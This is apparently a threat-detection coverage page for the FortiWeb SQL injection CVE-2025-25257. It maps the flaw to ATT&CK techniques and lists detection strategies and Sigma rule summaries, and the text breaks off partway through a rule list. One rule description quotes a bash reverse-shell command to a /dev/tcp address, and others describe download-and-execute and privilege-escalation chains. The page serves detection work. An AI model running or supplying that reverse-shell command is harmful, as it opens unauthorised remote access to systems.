Coverage › CVE-2025-25257

CVE-2025-25257 Mapped Sigma

Fortinet FortiWeb SQL Injection Vulnerability

Vendor / product: Fortinet — FortiWeb
Description (CISA): Fortinet FortiWeb contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.
Added to KEV: 2025-07-18
Due date: 2025-08-08
Required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Known ransomware use: Unknown
CWE: CWE-89
CISA notes: https://fortiguard.fortinet.com/psirt/FG-IR-25-151
https://nvd.nist.gov/vuln/detail/CVE-2025-25257
Elsewhere: cve.org · NVD · CISA KEV · JSON

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

5 mapping objects across 5 techniques. exploitation technique states how the vulnerability is exploited; primary and secondary impact state what exploitation achieves. They are different claims and are labelled as such.

Technique	Mapping type	CTID comment	Status in v19.2
T1055 Process Injection	exploitation technique	Affected versions of FortiWeb contain insufficient input sanitization, allowing for an attacker to use SQL injection to write a malicious .pth file to the into FortiWeb's site-packages Python directory. This allows the malicious code to execute using the privileges granted to Python scripts in that high-level directory. ref 1	live
T1068 Exploitation for Privilege Escalation	exploitation technique	Affected versions of FortiWeb contain insufficient input sanitization, allowing for an attacker to use SQL injection to write a malicious .pth file to the into FortiWeb's site-packages Python directory. This allows the malicious code to execute using the privileges granted to Python scripts in that high-level directory. Given the use of SQL, this can lead to potential loss of data within the database. ref 1	live
T1190 Exploit Public-Facing Application	exploitation technique	Affected versions of FortiWeb contain insufficient input sanitization, allowing for an attacker to use SQL injection to write a malicious .pth file to the into FortiWeb's site-packages Python directory. This allows the malicious code to execute using the privileges granted to Python scripts in that high-level directory. ref 1	live
T1059.004 Unix Shell	primary impact	Affected versions of FortiWeb contain insufficient input sanitization, allowing for an attacker to use SQL injection to write a malicious .pth file to the into FortiWeb's site-packages Python directory. This allows the malicious code to execute using the privileges granted to Python scripts in that high-level directory. Given the use of SQL, this can lead to potential loss of data within the database. ref 1	live
T1485 Data Destruction	secondary impact	Affected versions of FortiWeb contain insufficient input sanitization, allowing for an attacker to use SQL injection to write a malicious .pth file to the into FortiWeb's site-packages Python directory. This allows the malicious code to execute using the privileges granted to Python scripts in that high-level directory. Given the use of SQL, this can lead to potential loss of data within the database. ref 1	live

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1055 Process Injection exploitation technique

DET0508 Behavioral Detection of Process Injection Across Platforms
AN1399 Windows
Detects process injection by correlating memory manipulation API calls (e.g., VirtualAllocEx, WriteProcessMemory), suspicious thread creation (e.g., CreateRemoteThread), and unusual DLL loads within another process's context.

WinEventLog:Sysmon EventCode=10 → DC0035 Process Access
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Sysmon EventCode=7 → DC0016 Module Load
etw:Microsoft-Windows-Kernel-Process API calls → DC0021 OS API Execution

Tunable: AccessMask TimeWindow InjectedProcessList

AN1400 Linux
Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.

auditd:SYSCALL ptrace, mmap, process_vm_writev → DC0021 OS API Execution
auditd:SYSCALL open → DC0055 File Access
linux:procfs /proc/[pid]/maps, /proc/[pid]/mem → DC0020 Process Modification

Tunable: TargetPIDThreshold TimeWindow

AN1401 macOS
Detects memory-based injection by monitoring task_for_pid, mach_vm_write, and dylib injection patterns through DYLD_INSERT_LIBRARIES or manual memory mapping.

macos:unifiedlog subsystem=com.apple.security, library=libsystem_kernel.dylib → DC0035 Process Access
macos:endpointsecurity ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP → DC0034 Process Metadata
macos:syslog DYLD_INSERT_LIBRARIES anomalies → DC0016 Module Load

Tunable: TargetProcessSignature MachSyscallContext

Sigma rules tagged `attack.t1055` (37)

Rare Remote Thread Creation By Uncommon Source Image hightest

Author: Perez Diego (@darkquassar), oscd.community · 2019-10-27 (modified 2025-12-08) · logsource: product=windows category=create_remote_thread · 02d1d718-dd13-41af-989d-ea85c7fab93f

Detects uncommon processes creating remote threads.

Techniques: T1055

CobaltStrike Named Pipe Pattern Regex criticaltest

Author: Florian Roth (Nextron Systems) · 2021-07-30 (modified 2026-06-18) · logsource: product=windows category=pipe_created · 0e7163d4-9e19-4fa7-9be6-000c61aad77a

Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles

Techniques: T1055

Potential DLL Sideloading Using Coregen.exe mediumtest

Author: frack113 · 2022-12-31 · logsource: product=windows category=image_load · 0fa66f66-e3f6-4a9c-93f8-4f2610b00171

Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.

Techniques: T1218 T1055

PowerShell ShellCode hightest

Author: David Ledbetter (shellcode), Florian Roth (Nextron Systems) · 2018-11-17 (modified 2024-01-25) · logsource: product=windows category=ps_script · 16b37b70-6fcf-4814-a092-c36bd3aafcbd

Detects Base64 encoded Shellcode

Techniques: T1055 T1059.001

Suspect Svchost Activity hightest

Author: David Burkett, @signalblur · 2019-12-28 (modified 2022-06-27) · logsource: product=windows category=process_creation · 16c37b52-b141-42a5-a3ea-bbe098444397

It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.

Techniques: T1055

Lummac Stealer Activity - Execution Of More.com And Vbc.exe highexperimental

Author: Joseliyo Sanchez, @Joseliyo_Jstnk · 2024-12-19 · logsource: product=windows category=process_creation · 19b3806e-46f2-4b4c-9337-e3d8653245ea

Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.

Techniques: T1055

Suspicious Rundll32 Invoking Inline VBScript hightest

Author: Florian Roth (Nextron Systems) · 2021-03-05 (modified 2022-10-09) · logsource: product=windows category=process_creation · 1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd

Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452

Techniques: T1055

Potential Shellcode Injection mediumtest

Author: Bhabesh Raj · 2022-03-11 (modified 2024-07-02) · logsource: product=windows category=process_access · 250ae82f-736e-4844-a68b-0b5e8cc887da

Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject.

Techniques: T1055

APT PRIVATELOG Image Load Pattern hightest

Author: Florian Roth (Nextron Systems) · 2021-09-07 (modified 2022-10-09) · logsource: product=windows category=image_load · 33a2d1dd-f3b0-40bd-8baf-7974468927cc

Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances

Techniques: T1055

Suspicious Child Process Of Wermgr.EXE hightest

Author: Florian Roth (Nextron Systems) · 2022-10-14 (modified 2024-08-29) · logsource: product=windows category=process_creation · 396f6630-f3ac-44e3-bfc8-1b161bc00c4e

Detects suspicious Windows Error Reporting manager (wermgr.exe) child process

Techniques: T1055 T1036

Process Creation Using Sysnative Folder mediumtest

Author: Max Altgelt (Nextron Systems) · 2022-08-23 (modified 2025-10-08) · logsource: product=windows category=process_creation · 3c1b5fb0-c72f-45ba-abd1-4d4c353144ab

Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)

Techniques: T1055

Created Files by Microsoft Sync Center mediumtest

Author: elhoim · 2022-04-28 (modified 2022-06-02) · logsource: product=windows category=file_event · 409f8a98-4496-4aaa-818a-c931c0a8b832

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

Techniques: T1055 T1218

DotNet CLR DLL Loaded By Scripting Applications hightest

Author: omkar72, oscd.community · 2020-10-14 (modified 2023-02-23) · logsource: product=windows category=image_load · 4508a70e-97ef-4300-b62b-ff27992990ea

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

Techniques: T1055

HackTool - CoercedPotato Named Pipe Creation hightest

Author: Florian Roth (Nextron Systems) · 2023-10-11 · logsource: product=windows category=pipe_created · 4d0083b3-580b-40da-9bba-626c19fe4033

Detects the pattern of a pipe name as used by the hack tool CoercedPotato

Techniques: T1055

HackTool - EfsPotato Named Pipe Creation hightest

Author: Florian Roth (Nextron Systems) · 2021-08-23 (modified 2023-12-21) · logsource: product=windows category=pipe_created · 637f689e-b4a5-4a86-be0e-0100a0a33ba2

Detects the pattern of a pipe name as used by the hack tool EfsPotato

Techniques: T1055

All 37 rules on the technique page →

T1059.004 Unix Shell primary impact

DET0384 Behavioral Detection of Unix Shell Execution
AN1081 Linux
Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.

auditd:SYSCALL execve → DC0032 Process Creation
linux:osquery socket_events → DC0078 Network Traffic Flow
linux:syslog auth.log / secure.log → DC0067 Logon Session Creation

Tunable: ExecutableName UserContext ParentProcess TimeWindow CommandLinePattern

AN1082 macOS
Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.

macos:unifiedlog log stream --predicate 'eventMessage contains "exec"' → DC0032 Process Creation
macos:osquery launchd + process_events → DC0064 Command Execution
macos:syslog system.log, asl.log → DC0029 Script Execution

Tunable: ScriptLocation ParentProcess UserRole

AN1083 ESXi
Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.

esxi:vmkernel DCUI shell start, BusyBox activity → DC0064 Command Execution
esxi:auth Shell login or escalation → DC0067 Logon Session Creation

Tunable: UserContext CommandPattern ShellPath

AN1084 Network Devices
Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.

networkdevice:syslog CLI Command Audit → DC0064 Command Execution
NSM:Flow remote access → DC0082 Network Connection Creation

Tunable: Interface CommandString

Sigma rules tagged `attack.t1059.004` (18)

Axios NPM Compromise Indicators - Linux highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87

Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.

Techniques: T1195.002 T1059.006 T1059.004 T1105

Potentially Suspicious Long Filename Pattern - Linux lowexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 11629c4d-0fe6-465b-be62-b39a1c442aad

Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting. Adjust the threshold of filename length as needed based on your environment.

Techniques: T1059.004 T1027

Suspicious Commands Linux mediumtest

Author: Florian Roth (Nextron Systems) · 2017-12-12 (modified 2022-10-05) · logsource: product=linux service=auditd · 1543ae20-cbdf-4ec1-8d12-7664d667a825

Detects relevant commands often related to malware or hacking activity

Techniques: T1059.004

Suspicious Filename with Embedded Base64 Commands highexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 179b3686-6271-4d87-807d-17d843a8af73

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

Techniques: T1059.004 T1027

AWS EC2 Startup Shell Script Change hightest

Author: faloker · 2020-02-12 (modified 2022-06-07) · logsource: product=aws service=cloudtrail · 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

Techniques: T1059.001 T1059.003 T1059.004

Suspicious Activity in Shell Commands hightest

Author: Florian Roth (Nextron Systems) · 2017-08-21 (modified 2021-11-27) · logsource: product=linux · 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695

Detects suspicious shell commands used in various exploit codes (see references)

Techniques: T1059.004

Equation Group Indicators hightest

Author: Florian Roth (Nextron Systems) · 2017-04-09 (modified 2021-11-27) · logsource: product=linux · 41e5c73d-9983-4b69-bd03-e13b67e9623c

Detects suspicious shell commands used in various Equation Group scripts and tools

Techniques: T1059.004

Suspicious Reverse Shell Command Line hightest

Author: Florian Roth (Nextron Systems) · 2019-04-02 (modified 2021-11-27) · logsource: product=linux · 738d9bcf-6999-4fdb-b4ac-3033037db8ab

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Techniques: T1059.004

Linux Reverse Shell Indicator criticaltest

Author: Florian Roth (Nextron Systems) · 2021-10-16 (modified 2022-12-25) · logsource: product=linux category=network_connection · 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Techniques: T1059.004

JexBoss Command Sequence hightest

Author: Florian Roth (Nextron Systems) · 2017-08-24 (modified 2025-11-22) · logsource: product=linux · 8ec2c8b4-557a-4121-b87c-5dfb3a602fae

Detects suspicious command sequence that JexBoss

Techniques: T1059.004

Axios NPM Compromise Indicators - macOS highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=macos category=process_creation · a09ee860-31b3-4586-8a68-0ebd74ce0e5f

Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.

Techniques: T1195.002 T1059.002 T1059.004 T1105

Suspicious Download and Execute Pattern via Curl/Wget highexperimental

Author: Aayush Gupta · 2025-06-17 · logsource: product=linux category=process_creation · a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

Techniques: T1059.004 T1203

Shell Invocation via Env Command - Linux hightest

Author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.) · 2024-09-02 (modified 2026-01-08) · logsource: product=linux category=process_creation · bed978f8-7f3a-432b-82c5-9286a9b3031a

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Techniques: T1059.004

Nohup Execution mediumtest

Author: Christopher Peacock @SecurePeacock, SCYTHE @scythe_io · 2022-06-06 · logsource: product=linux category=process_creation · e4ffe466-6ff8-48d4-94bd-e32d1a6061e2

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Techniques: T1059.004

Interactive Bash Suspicious Children mediumtest

Author: Florian Roth (Nextron Systems) · 2022-03-14 · logsource: product=linux category=process_creation · ea3ecad2-db86-4a89-ad0b-132a10d2db55

Detects suspicious interactive bash as a parent to rather uncommon child processes

Techniques: T1059.004 T1036

All 18 rules on the technique page →

T1068 Exploitation for Privilege Escalation exploitation technique

DET0514 Detection Strategy for Exploitation for Privilege Escalation
AN1419 Windows
Detects exploitation attempts targeting vulnerable kernel drivers or OS components, often followed by unusual process or token behavior.

WinEventLog:Sysmon EventCode=6 → DC0079 Driver Load
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Security EventCode=4672 → DC0088 Logon Session Metadata

Tunable: DriverNamePattern TimeWindow ParentProcessPath

AN1420 Linux
Detects escalation via vulnerable setuid binaries or kernel modules, often chained with unusual access to /proc/kallsyms or /dev/kmem.

auditd:SYSCALL execve → DC0032 Process Creation
auditd:SYSCALL ACCESS → DC0035 Process Access
auditd:SYSCALL dmesg → DC0016 Module Load

Tunable: SetUIDBinaryList TimeWindow EffectiveUIDThreshold

AN1421 macOS
Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.

macos:unifiedlog process:exec and kext load events → DC0032 Process Creation
macos:endpointsecurity ES_EVENT_TYPE_NOTIFY_KEXTLOAD → DC0016 Module Load

Tunable: EntitlementList TimeWindow

AN1422 Containers
Detects container breakout behavior via exploitation (e.g., DirtyPipe, CVE-2022-0847), followed by host OS interaction or escalated capability assignment.

auditd:SYSCALL capset or setns → DC0067 Logon Session Creation
containerd:runtime e.g., containerd, Docker events → DC0091 Container Enumeration

Tunable: NamespaceEscapePattern TimeWindow

Sigma rules tagged `attack.t1068` (31)

Exploiting CVE-2019-1388 criticalstable

Author: Florian Roth (Nextron Systems) · 2019-11-20 (modified 2024-12-01) · logsource: product=windows category=process_creation · 02e0b2ea-a597-428e-b04a-af6a1a403e5c

Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM

Techniques: T1068

CVE tags: CVE-2019-1388

Malicious Driver Load hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-08-18 (modified 2023-12-02) · logsource: product=windows category=driver_load · 05296024-fe8a-4baf-8f3d-9a5f5624ceb2

Detects loading of known malicious drivers via their hash.

Techniques: T1543.003 T1068

Possible Coin Miner CPU Priority Param criticaltest

Author: Florian Roth (Nextron Systems) · 2021-10-09 (modified 2022-12-25) · logsource: product=linux service=auditd · 071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed

Detects command line parameter very often used with coin miners

Techniques: T1068

Potential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309) highexperimental

Author: Nisarg Suthar · 2025-08-01 · logsource: product=windows category=process_creation · 0fdc7c7f-c690-4217-9ae3-31f5156eed72

Detects suspicious child processes created by CrushFTP. It could be an indication of exploitation of a RCE vulnerability such as CVE-2025-54309.

Techniques: T1059.001 T1059.003 T1068 T1190

CVE tags: CVE-2025-54309

Non-Standard Nsswitch.Conf Creation - Potential CVE-2025-32463 Exploitation highexperimental

Author: Swachchhanda Shrawn Poudel (Nextron Systems) · 2025-10-02 (modified 2026-03-31) · logsource: product=linux category=file_event · 10ac0730-c24e-4f4c-81f8-b13a1ac95a1d

Detects the creation of nsswitch.conf files in non-standard directories, which may indicate exploitation of CVE-2025-32463. This vulnerability requires an attacker to create a nsswitch.conf in a directory that will be used during sudo chroot operations. When sudo executes, it loads malicious shared libraries from user-controlled locations within the chroot environment, potentially leading to arbitrary code execution and privilege escalation.

Techniques: T1068

CVE tags: CVE-2025-32463

Potential CVE-2024-35250 Exploitation Activity mediumexperimental

Author: @eyezuhk Isaac Fernandes · 2025-02-19 · logsource: product=windows category=image_load · 17ce9373-2163-4a2c-90ba-f91e9ef7a8c1

Detects potentially suspicious loading of "ksproxy.ax", which may indicate an attempt to exploit CVE-2024-35250.

Techniques: T1068

CVE tags: CVE-2024-35250

Buffer Overflow Attempts hightest

Author: Florian Roth (Nextron Systems) · 2017-03-01 (modified 2025-03-17) · logsource: product=linux · 18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781

Detects buffer overflow attempts in Unix system log files

Techniques: T1068

Exploiting SetupComplete.cmd CVE-2019-1378 hightest

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro · 2019-11-15 (modified 2021-11-27) · logsource: product=windows category=process_creation · 1c373b6d-76ce-4553-997d-8c1da9a6b5f5

Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378

Techniques: T1068 T1059.003 T1574

CVE tags: CVE-2019-1378

OMIGOD SCX RunAsProvider ExecuteShellCommand hightest

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC · 2021-10-15 (modified 2022-10-05) · logsource: product=linux category=process_creation · 21541900-27a9-4454-9c4c-3f0a4240344a

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

Techniques: T1068 T1190 T1203

HKTL - SharpSuccessor Privilege Escalation Tool Execution highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2025-06-06 · logsource: product=windows category=process_creation · 38a1ac5f-9c74-47d2-a345-dd6f5eb4e7c8

Detects the execution of SharpSuccessor, a tool used to exploit the BadSuccessor attack for privilege escalation in WinServer 2025 Active Directory environments. Successful usage of this tool can let the attackers gain the domain admin privileges by exploiting the BadSuccessor vulnerability.

Techniques: T1068

Malicious Driver Load By Name mediumtest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-10-03 (modified 2023-12-02) · logsource: product=windows category=driver_load · 39b64854-5497-4b57-a448-40977b8c9679

Detects loading of known malicious drivers via the file name of the drivers.

Techniques: T1543.003 T1068

InstallerFileTakeOver LPE CVE-2021-41379 File Create Event criticaltest

Author: Florian Roth (Nextron Systems) · 2021-11-22 (modified 2022-12-25) · logsource: product=windows category=file_event · 3be82d5d-09fe-4d6a-a275-0d40d234d324

Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file

Techniques: T1068

Linux AF_ALG Socket Creation - Kernel Crypto API Exploit Indicator highexperimental

Author: Gene Kazimiarovich · 2026-04-30 · logsource: product=linux service=auditd · 474b415a-8b3d-4e6a-9f12-0d5c8a7b6e94

Detects creation of AF_ALG (Address Family 38) sockets via the socket() syscall. AF_ALG is the Linux kernel crypto API interface. It is exploited in CVE-2026-31431 to achieve local privilege escalation via a buffer overflow in the AF_ALG AEAD splice path that corrupts the page cache of SUID binaries. Legitimate AF_ALG usage is rare and confined to specific crypto utilities and VPN daemons using non-default kernel offload configurations.

Techniques: T1068

CVE tags: CVE-2026-31431

Authencesn Crypto Module Load via Modprobe - Copy-Fail Indicator highexperimental

Author: Gene Kazimiarovich · 2026-05-09 · logsource: product=linux category=process_creation · 474b415a-d917-4f3b-8c62-9e1a0d5f7b48

Detects kernel auto-loading of the authencesn crypto module via modprobe This occurs when user-space code creates an AF_ALG socket and binds the authencesn AEAD cipher (e.g., authencesn(hmac(sha256),cbc(aes))). The kernel invokes modprobe to load the crypto module. This is a key indicator of CVE-2026-31431 (Copy Fail) exploitation, where the authencesn cipher is used to trigger a buffer overflow in the AF_ALG AEAD splice path, corrupting the page cache of SUID binaries for local privilege escalation. On Linux systems, modprobe is typically a symlink to kmod, so the process image will be /usr/bin/kmod (or /bin/kmod) with 'modprobe' appearing in the command line.

Techniques: T1068 T1547.006

CVE tags: CVE-2026-31431

Audit CVE Event criticaltest

Author: Florian Roth (Nextron Systems), Zach Mathis · 2020-01-15 (modified 2022-10-22) · logsource: product=windows service=application · 48d91a3a-2363-43ba-a456-ca71ac3da5c2

Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.

Techniques: T1203 T1068 T1211 T1212 T1210 T1499.004

All 31 rules on the technique page →

T1190 Exploit Public-Facing Application exploitation technique

DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)
AN0219 Windows
Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint → (2) elevated 4xx/5xx or unusual methods/paths → (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules → (4) optional outbound callback from the host/container.

ApplicationLog:IIS IIS W3C logs in C:\inetpub\logs\LogFiles\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns) → DC0038 Application Log Content
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Sysmon EventCode=7 → DC0016 Module Load
WinEventLog:Sysmon EventCode=3, 22 → DC0082 Network Connection Creation

Tunable: PublicVIPs SuspiciousPatterns ErrorRateThreshold TimeWindow AllowedChildList

AN0220 Linux
Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs → (2) spike of 5xx or WAF blocks → (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell → (4) outbound callback.

ApplicationLog:WebServer /var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors → DC0038 Application Log Content
auditd:SYSCALL execve → DC0032 Process Creation
NSM:Flow HTTP payloads with SQLi/LFI/JNDI/deserialization indicators → DC0085 Network Traffic Content

Tunable: WebProcList ChildToolList BurstThreshold TimeWindow

AN0221 macOS
Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request → service crash/5xx → service spawns shell or writes file → new outbound connection.

macos:unifiedlog App/web server logs ingested via unified logging or filebeat (nginx/apache/node). → DC0038 Application Log Content
macos:unifiedlog exec events where web process starts a shell/tooling → DC0032 Process Creation
NSM:Flow outbound egress from web host after suspicious request → DC0085 Network Traffic Content

Tunable: ServiceList TimeWindow

AN0222 Containers
Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs → (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) → (3) egress to Internet or metadata service (169.254.169.254).

ApplicationLog:Ingress Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes → DC0038 Application Log Content
docker:events Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container → DC0032 Process Creation
NSM:Flow Requests towards cloud metadata or command & control from pod IPs → DC0085 Network Traffic Content

Tunable: IngressNamespaces MetadataEndpoints TimeWindow

AN0223 IaaS
Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes → (2) workload spawns shell or reaches metadata API → (3) egress to new external hosts.

ALB:HTTPLogs AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts → DC0085 Network Traffic Content
AWS:VPCFlowLogs VPC/NSG flow logs for pod/instance egress to Internet or metadata → DC0078 Network Traffic Flow

Tunable: LBProjects ErrorBurst

AN0224 ESXi
Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service → hostd/vpxd error/crash/restart → unexpected process behavior or datastore access → outbound callback.

esxi:hostd /var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections → DC0038 Application Log Content
NSM:Flow Connections to TCP 427 (SLP) or vCenter web services from untrusted sources → DC0085 Network Traffic Content

Tunable: MgmtCIDR TimeWindow

AN0225 Network Devices
Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs → device syslog errors/restarts → config changes/CLI spawn → egress to attacker C2.

networkdevice:controlplane Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands → DC0038 Application Log Content
NSM:Flow NetFlow/sFlow for odd egress to Internet from mgmt plane → DC0085 Network Traffic Content

Tunable: MgmtPorts TrustedAdmins

Sigma rules tagged `attack.t1190` (149)

Potential CVE-2023-25717 Exploitation Attempt hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2023-05-30 · logsource: category=webserver · 043c1609-0e32-4462-a6f2-5a0c2da3fafe

Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin

Techniques: T1190

CVE tags: CVE-2023-25717

Potential CVE-2021-27905 Exploitation Attempt mediumtest

Author: @gott_cyber · 2022-12-11 (modified 2023-03-24) · logsource: category=webserver · 0bbcd74b-0596-41a4-94a0-4e88a76ffdb3

Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.

Techniques: T1190

CVE tags: CVE-2021-27905

Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 criticaltest

Author: Florian Roth (Nextron Systems) · 2020-07-10 (modified 2023-01-02) · logsource: category=webserver · 0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7

Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195

Techniques: T1190

CVE tags: CVE-2020-8193CVE-2020-8195

Ruby on Rails Framework Exceptions mediumstable

Author: Thomas Patzke · 2017-08-06 (modified 2020-09-01) · logsource: product=ruby_on_rails category=application · 0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a

Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts

Techniques: T1190

Potential CVE-2023-23752 Exploitation Attempt hightest

Author: Bhabesh Raj · 2023-02-23 · logsource: category=webserver · 0e1ebc5a-15d0-4bf6-8199-b2535397433a

Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla

Techniques: T1190

CVE tags: CVE-2023-23752

Potential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309) highexperimental

Author: Nisarg Suthar · 2025-08-01 · logsource: product=windows category=process_creation · 0fdc7c7f-c690-4217-9ae3-31f5156eed72

Detects suspicious child processes created by CrushFTP. It could be an indication of exploitation of a RCE vulnerability such as CVE-2025-54309.

Techniques: T1059.001 T1059.003 T1068 T1190

CVE tags: CVE-2025-54309

Terminal Service Process Spawn hightest

Author: Florian Roth (Nextron Systems) · 2019-05-22 (modified 2023-01-25) · logsource: product=windows category=process_creation · 1012f107-b8f1-4271-af30-5aed2de89b39

